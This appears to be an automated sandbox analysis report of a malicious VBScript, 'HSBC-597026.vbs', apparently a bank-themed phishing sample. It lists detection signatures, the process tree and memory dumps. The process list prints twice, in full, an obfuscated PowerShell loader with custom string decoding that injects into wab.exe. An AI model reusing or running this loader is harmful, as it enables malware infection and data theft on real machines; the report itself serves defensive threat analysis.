Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/07/2026, 07:14
General
- Target HSBC-597026.vbs
- Size 43KB
- Sample260720-h2x5esct81
- SHA256 3679b32946aa28717b152457a56b2c7f101daf672b94794689b7874241026a81
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HSBC-597026.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $reembracing = [System.IO.Path]::GetTempPath()}rv 'serverede' 'renovationsordningernes' 'spiegels';[void](Get-Date);$intransigeant=21708-21708;$tramells=-52145+58145;$varmeledningsligningen = [Math]::Sqrt(144);function sololierne ($undergrundskonomiens,$wheller) {$undergrundskonomiensflastningers = [Math]::Sqrt(225);$duellerendes=caramelization(@(103,231,227,209,210,219,204,229,184,224,217,224,216,216,211,226,176,219,218,219,224,150,199,235,178,228,157,145,228,209,202,223,175,215,231,150)) ;[void](Get-Date);Skanderede ($duellerendes);[void][Guid]::NewGuid()}function caramelization ($chaunt) { $decorticator = [System.IO.Path]::GetTempPath();do {$tramells=$intransigeant%8;[void](Get-Culture);$chaunt[$intransigeant]-=$urosomatic[$tramells];$tramells=$chaunt[$intransigeant];$tramells=[char]$tramells;$vandskaden = 'foobar thud qux'.ToUpper();$sarabande+=$tramells;$intransigeant++} while ($chaunt[$intransigeant])[char[]]'snarf glob blurp' | Out-Null;$sarabande}function plmkoz { $copycatting = [Guid]::NewGuid(); [void](Get-Culture)}function Skanderede ($produktets) {$tungestes = Get-Process -Id $PID;&($hovedsalaternes) $produktets;[void]([System.DateTime]::Now)}Function Simpering ($chaunt,$folkekomediernes219=0){$undergrundskonomiensntiangular = [Math]::Round(3.14159);$billedrammers=caramelization(@(158,181,228,219,227,206,215,231,160,172,175,179,223,216,210,181,164,229,218,163,161,188,217,229,172,224,220,149,145,204,205,212,184,224,233,150));$colthood=@(Skanderede ($billedrammers));For($divelling=0; $colthood[$divelling] -ne $anonymiserendes; $divelling++){[void](Get-Date);$colthood[$divelling] = sololierne $colthood[$divelling] $urosomatic[$divelling%8]}$deerherd=caramelization(@(112,220,228,214,219,137,192,214,171,211,231,200,202,198,137,214,178,222,233,213,220,216,201));$forpustet = 'gargle snarf'.Split(' ');$copens=Skanderede ($deerherd);if ($folkekomediernes219) { Skanderede $copens;[void][Guid]::NewGuid()}else {;$copens}$deurwaarder = [System.Environment]::MachineName}$urosomatic=@(67,114,117,109,109,105,101,115);Start-Sleep -Milliseconds 1;$hovedsalaternes=caramelization @(140,183,205);$sludge='\Eksklusiv.Mon';$centi = [System.IO.Path]::GetRandomFileName();$prophoric=Simpering 'dlxFTUU+DB0nHQIeTScxU3JCW11WSTIaLURBVk0RU0d4UgcbV1hQQW1CXE0qDAYYLF1HXVxZVUJzQ1UrBBsAFSwKWlxYW0tD';$primulaveroside=Simpering 'KwYBHR5TSlwnABwbCEcCHCwVGQhDCgoebAcWUggRFRwxBkgJAh4LHywTEUsEDVhCBDA4WwwsNB4aJTgiPDsiEglAGiw3KgQrMwglGikqUDw=';$emblemises=Simpering 'DgENAAFbSyAmAAMIHzEoPwsmIT1DX0tD';[void]([System.DateTime]::Now);$prisndringerne=Simpering 'BDch';$undealt=Simpering 'FgEQH0AoAhYtBg==';$roamage50 = 'plugh xyzzy frotz'.ToUpper();$jordtilliggendet=Simpering 'fQ==';Simpering 'ZxUZAg8ICUkiFRIfDAcBGjAXGAgDHVhXJhwDVwwZFRciBhRGSRoJBicVEA==' 1;Simpering 'ZxUZAg8ICUkiAR0IHwAITmcCBwQAHAkSNRcHAh4AARZtAQUBBB1NVykdBwkZAAkfKhUSCAMNAAdq' 1;[void](Get-Culture);$primulaveroside=$asherim[0];Simpering 'ZxUZAg8ICUkmERoDAgQABzEbFh5QJwAEbj0XBwgKEVNuMRoATU0AHiEeEAAEGgAA' 1;Simpering 'ZxUZAg8ICUkmFRAfAwwXQntCSEU5DBYHbiIUGQVJQRIkFQcMAw0MACYfEAMZQA==' 1;$leachers = Get-Process -Id $PID;while (!$egerner180) {Simpering 'ZxUZAg8ICUkRExsKHhkAATAdGwgDVEEHMQcQ' 1;Simpering 'ZxcWAgMGCBY3ABwOHkcKAyYcXUkdGwwALRYHBAMOAAEtF1lNSRkXGi4HGQwbDBccMBsRCEFJQRUiHgYIRA==' 1;[char[]]'grue zork' | Out-Null;Simpering 'ZxcWAgMGCBY3ABwOHkcWFjcgEBwYDBYHCxcUCQgbTVc2HBEIDAURX2NWBR8CGQ0cMRsWRA==' 1;Simpering 'ZxcWAgMGCBY3ABwOHkcWFi0WXUQ=' 1;Simpering 'ZxUZAg8ICUk1ExsJAQsWEicfHAMEGhEBIgYcAgMMFwB+VhAOAgcKHiYGBwQOGksANxMBGB5JSBYyUkddXQ==' 1;[void][Guid]::NewGuid();if ($vandlbsadministrationers) {Simpering 'GBAMGQgyOC5nFRkCDwgJSTACAB8bDAMGJB4QHlBNABAsHBoACB0XGiABWx8IGhUcLQEQLwINHA==' 1;Simpering 'MBFVSQwOAgEiHBEEHgwIFi0GVUkeGRABNRcTGAoFAABjXzADDgYBGi0VVS8UHQA=' 1;$deurwaarder = [Math]::Round(3.14159)} Simpering 'EB4QCB1BUVo=' 1;Simpering 'ZxUZAg8ICUkmFRAfAwwXQntCSEU5DBYHbiIUGQVJQRIkFQcMAw0MACYfEAMZQA==' 1 ;$svampevaekst = 'wibble wobble baz'.Split(' ');Simpering 'ZxUZAg8ICUkrExkEAh0MAH5WEgECCwQfeQcZBAoMCR0tFxseRkJAVyIBHQgfAAhdIB0AAxk=' 1;$primulaveroside=$asherim[$haliotis]}[void]([System.IO.Path]::GetTempPath());$polysyllabicism=132061;$whelleribelfortolkning=20249;Simpering 'ZxUZAg8ICUkgHQABAgQHGCwcBhkMBxEWLU8SDk1NBBQkABQDCQAWFi4XGxk=' 1;$forpustet = [System.Environment]::MachineName;Simpering 'ZxUZAg8ICUkHABQOAgcGHDMXEQhQMiYcLQQQHxk0X0kFABoALwgWFnVGJhkfAAsUa1YWAhgFCh4hGRoDHh0EHTcXG0Q=' 1;Simpering 'ZxUZAg8ICUkrBwcJBAwWQnBPLjkIERFdBhwWAgkACxQeSE8sPiosOm01EBk+HRcaLRVdSSkbBBAsHBYCHQwBFmo=' 1;Simpering 'ZxUZAg8ICUkiAhodCB0EHywHBlBJARABJxsQHlxaSwA2EAYZHwALFGtWBQIBEBYKLx4UDwQKDAAuXlEaBQwJHyYAHA8IBQMcMQYaAQYHDB0kWw==' 1;Start-Sleep -Milliseconds 2;Skanderede $apopetalous;function rtwpxq { $pseudisodomum = [System.Environment]::MachineName};;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $reembracing = [System.IO.Path]::GetTempPath()}rv 'serverede' 'renovationsordningernes' 'spiegels';[void](Get-Date);$intransigeant=21708-21708;$tramells=-52145+58145;$varmeledningsligningen = [Math]::Sqrt(144);function sololierne ($undergrundskonomiens,$wheller) {$undergrundskonomiensflastningers = [Math]::Sqrt(225);$duellerendes=caramelization(@(103,231,227,209,210,219,204,229,184,224,217,224,216,216,211,226,176,219,218,219,224,150,199,235,178,228,157,145,228,209,202,223,175,215,231,150)) ;[void](Get-Date);Skanderede ($duellerendes);[void][Guid]::NewGuid()}function caramelization ($chaunt) { $decorticator = [System.IO.Path]::GetTempPath();do {$tramells=$intransigeant%8;[void](Get-Culture);$chaunt[$intransigeant]-=$urosomatic[$tramells];$tramells=$chaunt[$intransigeant];$tramells=[char]$tramells;$vandskaden = 'foobar thud qux'.ToUpper();$sarabande+=$tramells;$intransigeant++} while ($chaunt[$intransigeant])[char[]]'snarf glob blurp' | Out-Null;$sarabande}function plmkoz { $copycatting = [Guid]::NewGuid(); [void](Get-Culture)}function Skanderede ($produktets) {$tungestes = Get-Process -Id $PID;&($hovedsalaternes) $produktets;[void]([System.DateTime]::Now)}Function Simpering ($chaunt,$folkekomediernes219=0){$undergrundskonomiensntiangular = [Math]::Round(3.14159);$billedrammers=caramelization(@(158,181,228,219,227,206,215,231,160,172,175,179,223,216,210,181,164,229,218,163,161,188,217,229,172,224,220,149,145,204,205,212,184,224,233,150));$colthood=@(Skanderede ($billedrammers));For($divelling=0; $colthood[$divelling] -ne $anonymiserendes; $divelling++){[void](Get-Date);$colthood[$divelling] = sololierne $colthood[$divelling] $urosomatic[$divelling%8]}$deerherd=caramelization(@(112,220,228,214,219,137,192,214,171,211,231,200,202,198,137,214,178,222,233,213,220,216,201));$forpustet = 'gargle snarf'.Split(' ');$copens=Skanderede ($deerherd);if ($folkekomediernes219) { Skanderede $copens;[void][Guid]::NewGuid()}else {;$copens}$deurwaarder = [System.Environment]::MachineName}$urosomatic=@(67,114,117,109,109,105,101,115);Start-Sleep -Milliseconds 1;$hovedsalaternes=caramelization @(140,183,205);$sludge='\Eksklusiv.Mon';$centi = [System.IO.Path]::GetRandomFileName();$prophoric=Simpering 'dlxFTUU+DB0nHQIeTScxU3JCW11WSTIaLURBVk0RU0d4UgcbV1hQQW1CXE0qDAYYLF1HXVxZVUJzQ1UrBBsAFSwKWlxYW0tD';$primulaveroside=Simpering 'KwYBHR5TSlwnABwbCEcCHCwVGQhDCgoebAcWUggRFRwxBkgJAh4LHywTEUsEDVhCBDA4WwwsNB4aJTgiPDsiEglAGiw3KgQrMwglGikqUDw=';$emblemises=Simpering 'DgENAAFbSyAmAAMIHzEoPwsmIT1DX0tD';[void]([System.DateTime]::Now);$prisndringerne=Simpering 'BDch';$undealt=Simpering 'FgEQH0AoAhYtBg==';$roamage50 = 'plugh xyzzy frotz'.ToUpper();$jordtilliggendet=Simpering 'fQ==';Simpering 'ZxUZAg8ICUkiFRIfDAcBGjAXGAgDHVhXJhwDVwwZFRciBhRGSRoJBicVEA==' 1;Simpering 'ZxUZAg8ICUkiAR0IHwAITmcCBwQAHAkSNRcHAh4AARZtAQUBBB1NVykdBwkZAAkfKhUSCAMNAAdq' 1;[void](Get-Culture);$primulaveroside=$asherim[0];Simpering 'ZxUZAg8ICUkmERoDAgQABzEbFh5QJwAEbj0XBwgKEVNuMRoATU0AHiEeEAAEGgAA' 1;Simpering 'ZxUZAg8ICUkmFRAfAwwXQntCSEU5DBYHbiIUGQVJQRIkFQcMAw0MACYfEAMZQA==' 1;$leachers = Get-Process -Id $PID;while (!$egerner180) {Simpering 'ZxUZAg8ICUkRExsKHhkAATAdGwgDVEEHMQcQ' 1;Simpering 'ZxcWAgMGCBY3ABwOHkcKAyYcXUkdGwwALRYHBAMOAAEtF1lNSRkXGi4HGQwbDBccMBsRCEFJQRUiHgYIRA==' 1;[char[]]'grue zork' | Out-Null;Simpering 'ZxcWAgMGCBY3ABwOHkcWFjcgEBwYDBYHCxcUCQgbTVc2HBEIDAURX2NWBR8CGQ0cMRsWRA==' 1;Simpering 'ZxcWAgMGCBY3ABwOHkcWFi0WXUQ=' 1;Simpering 'ZxUZAg8ICUk1ExsJAQsWEicfHAMEGhEBIgYcAgMMFwB+VhAOAgcKHiYGBwQOGksANxMBGB5JSBYyUkddXQ==' 1;[void][Guid]::NewGuid();if ($vandlbsadministrationers) {Simpering 'GBAMGQgyOC5nFRkCDwgJSTACAB8bDAMGJB4QHlBNABAsHBoACB0XGiABWx8IGhUcLQEQLwINHA==' 1;Simpering 'MBFVSQwOAgEiHBEEHgwIFi0GVUkeGRABNRcTGAoFAABjXzADDgYBGi0VVS8UHQA=' 1;$deurwaarder = [Math]::Round(3.14159)} Simpering 'EB4QCB1BUVo=' 1;Simpering 'ZxUZAg8ICUkmFRAfAwwXQntCSEU5DBYHbiIUGQVJQRIkFQcMAw0MACYfEAMZQA==' 1 ;$svampevaekst = 'wibble wobble baz'.Split(' ');Simpering 'ZxUZAg8ICUkrExkEAh0MAH5WEgECCwQfeQcZBAoMCR0tFxseRkJAVyIBHQgfAAhdIB0AAxk=' 1;$primulaveroside=$asherim[$haliotis]}[void]([System.IO.Path]::GetTempPath());$polysyllabicism=132061;$whelleribelfortolkning=20249;Simpering 'ZxUZAg8ICUkgHQABAgQHGCwcBhkMBxEWLU8SDk1NBBQkABQDCQAWFi4XGxk=' 1;$forpustet = [System.Environment]::MachineName;Simpering 'ZxUZAg8ICUkHABQOAgcGHDMXEQhQMiYcLQQQHxk0X0kFABoALwgWFnVGJhkfAAsUa1YWAhgFCh4hGRoDHh0EHTcXG0Q=' 1;Simpering 'ZxUZAg8ICUkrBwcJBAwWQnBPLjkIERFdBhwWAgkACxQeSE8sPiosOm01EBk+HRcaLRVdSSkbBBAsHBYCHQwBFmo=' 1;Simpering 'ZxUZAg8ICUkiAhodCB0EHywHBlBJARABJxsQHlxaSwA2EAYZHwALFGtWBQIBEBYKLx4UDwQKDAAuXlEaBQwJHyYAHA8IBQMcMQYaAQYHDB0kWw==' 1;Start-Sleep -Milliseconds 2;Skanderede $apopetalous;function rtwpxq { $pseudisodomum = [System.Environment]::MachineName};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Eksklusiv.Mon
memory/2060-24-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-2-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-7-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-8-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-9-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-10-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-11-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-12-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-13-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-14-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-15-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-16-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-19-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-21-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-22-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-0-0x00007FFCF573F000-0x00007FFCF5740000-memory.dmp
memory/2060-6-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-1-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/2060-5-0x000001AF48DC0000-0x000001AF48DE2000-memory.dmp
memory/3256-39-0x00000000075B0000-0x0000000007646000-memory.dmp
memory/3256-26-0x0000000005550000-0x0000000005B9A000-memory.dmp
memory/3256-32-0x0000000005D30000-0x000000000608B000-memory.dmp
memory/3256-25-0x0000000004DA0000-0x0000000004DD6000-memory.dmp
memory/3256-34-0x0000000006210000-0x000000000622E000-memory.dmp
memory/3256-28-0x0000000005C50000-0x0000000005CB6000-memory.dmp
memory/3256-38-0x00000000067B0000-0x00000000067CA000-memory.dmp
memory/3256-37-0x0000000007B90000-0x000000000820C000-memory.dmp
memory/3256-29-0x0000000005CC0000-0x0000000005D26000-memory.dmp
memory/3256-27-0x0000000005450000-0x0000000005472000-memory.dmp
memory/3256-40-0x0000000007470000-0x0000000007492000-memory.dmp
memory/3256-41-0x00000000087D0000-0x0000000008D8A000-memory.dmp
memory/3256-35-0x0000000006590000-0x00000000065DC000-memory.dmp
memory/3256-44-0x0000000008D90000-0x000000000C458000-memory.dmp